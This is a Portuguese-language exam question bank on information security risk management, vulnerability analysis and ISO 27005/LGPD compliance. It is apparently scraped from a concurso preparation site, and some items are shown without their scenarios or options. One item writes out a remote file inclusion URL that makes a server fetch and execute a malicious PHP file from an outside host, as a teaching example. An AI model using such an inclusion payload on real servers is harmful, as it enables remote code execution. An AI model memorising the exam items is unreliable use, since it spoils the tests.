Questões de Concurso
Sobre análise de vulnerabilidade e gestão de riscos em segurança da informação
Foram encontradas 893 questões
I. O Tribunal adquire um novo sistema digital para agilizar o acesso seguro aos processos judiciais, mas a falta de treinamento dos usuários compromete o alcance dos objetivos de aumento de produtividade, celeridade e eficiência.
II. A mudança de sistema de provedor de e-mails do Tribunal resulta na perda de acesso às informações trocadas, impactando diretamente o fluxo de trabalho e causando empecilho à prestação de contas às instâncias controladoras.
III. O Tribunal é notificado por um órgão regulador de que descumpriu normas de transparência pública exigidas por lei, devido é ausência de algumas informações obrigatórias em seu portal de transparência.
IV. Foi decidido que a elaboração de um plano de contingência poderia ser adiada e, quando ocorreu um evento que provocou a interrupção significativa no atendimento aos cidadãos, isso gerou insatisfação dos jurisdicionados, comprometendo os objetivos do Tribunal de bem atender aos cidadãos.
V. Em uma inspeção de auditoria, constatou-se que houve problemas internos que impediram que dados relevantes sobre os processos em andamento fossem reportados adequadamente, dificultando a tomada de decisões e o cumprimento das obrigações de accountability.
De acordo com a Política de Gestão de Riscos (Ato TRT-GP n° 118/2018), as situações I, II, III, IV e V correspondem, correta e respectivamente, aos tipos de riscos:
Em relação à análise de vulnerabilidades, julgue o item a seguir.
Cross-site scripting é um tipo clássico de CVE (Common Vulnerabilities and Exposures) que permite a neutralização de entradas com parâmetros inadequados para um sistema Web.
Em relação à análise de vulnerabilidades, julgue o item a seguir.
Buffer overflow é um tipo de CWE (Common Weakness Enumeration) que ocorre quando a quantidade de dados no buffer é a mesma da capacidade de armazenamento correspondente alocada em memória pela aplicação.
Considerando que os riscos, em sua maior parte, são estáticos, o monitoramento permanente de cenários de eventos, valores de ativos, ameaças e vulnerabilidades é desnecessário, podendo ser realizado essencialmente em ciclos periódicos de dois a três anos, conforme o tipo de negócio da organização.
Julgue o item a seguir, a respeito de segurança da informação, políticas de segurança, classificação de informações e análise de vulnerabilidades.
Ao implementar mecanismos para limitar o acesso a recursos informacionais para, apenas, indivíduos ou sistemas autorizados, o controle de acesso contribui diretamente para a confidencialidade na segurança da informação.
Julgue o item a seguir, a respeito de segurança da informação, políticas de segurança, classificação de informações e análise de vulnerabilidades.
Considerando que uma organização adota o desenvolvimento de software seguro, o uso de ferramentas de varredura de vulnerabilidades será direcionado especificamente às bibliotecas de software de terceiros utilizadas pela organização.
Com base nesse cenário, assinale a alternativa INCORRETA sobre as práticas recomendadas para manter a segurança e o desempenho do sistema.
I. A análise de riscos envolve a identificação e avaliação dos riscos que podem impactar a segurança da informação.
II. O tratamento de risco pode incluir medidas para mitigar, transferir, aceitar ou evitar o risco.
III. O risco residual é o risco que permanece após a implementação de medidas de tratamento de risco.
Quais estão corretas?
Durante a verificação de vulnerabilidades contratada por essa empresa, foi observado que o servidor da página web da Empresa1234 processava o valor fornecido no parâmetro file sem realizar validação ou sanitização adequada.
Como resultado, foi possível incluir e executar no servidor o conteúdo de um arquivo malicioso hospedado no endereço http://testevulnerabilidade.com/badpage.php
O teste foi realizado utilizando o seguinte endereço:
http://empresa1234.com/vaga.php?file=http://testevulnerabilida de.com/badpage.php
Ao acessar essa URL, o conteúdo do arquivo badpage.php foi carregado e executado diretamente pelo servidor da Empresa1234, comprometendo sua segurança.
O tipo de vulnerabilidade presente no servidor de página da Empresa1234 é o
Julgue o próximo item, relativo a noções de segurança da informação e de serviço de inteligência.
A análise de riscos, além de englobar as ameaças e as vulnerabilidades, estende-se aos impactos decorrentes de cada evento adverso.
Acerca de gestão de riscos e continuidade de negócio, julgue o item que se segue, com base na NBR ISO 27005:2019 e na Lei Geral de Proteção de Dados (LGPD).
O processo de gestão de riscos de segurança da informação pode ser relativo à organização como um todo, mas também pode ser aplicado apenas a aspectos particulares de um controle da organização, como o seu plano de continuidade de negócios.
Acerca de gestão de riscos e continuidade de negócio, julgue o item que se segue, com base na NBR ISO 27005:2019 e na Lei Geral de Proteção de Dados (LGPD).
O processo de avaliação de riscos determina o valor dos ativos de informação, identifica as ameaças e vulnerabilidades aplicáveis, determina as consequências possíveis e prioriza os riscos derivados, ordenando-os de acordo com os critérios de avaliação de riscos estabelecidos.
A respeito de gestão de segurança da informação, protocolos de autenticação, ameaças e vulnerabilidades em aplicações e segurança de aplicativos web, julgue o item a seguir, considerando, no que couber, as disposições das normas técnicas NBR ISO/IEC 27001:2022 e NBR ISO/IEC 27002:2022.
A camada de inteligência estratégica de ameaças de uma organização deve atuar na coleta de informações sobre as metodologias dos atacantes, bem como sobre as ferramentas e tecnologias envolvidas nos ataques.
Conheça nossos planos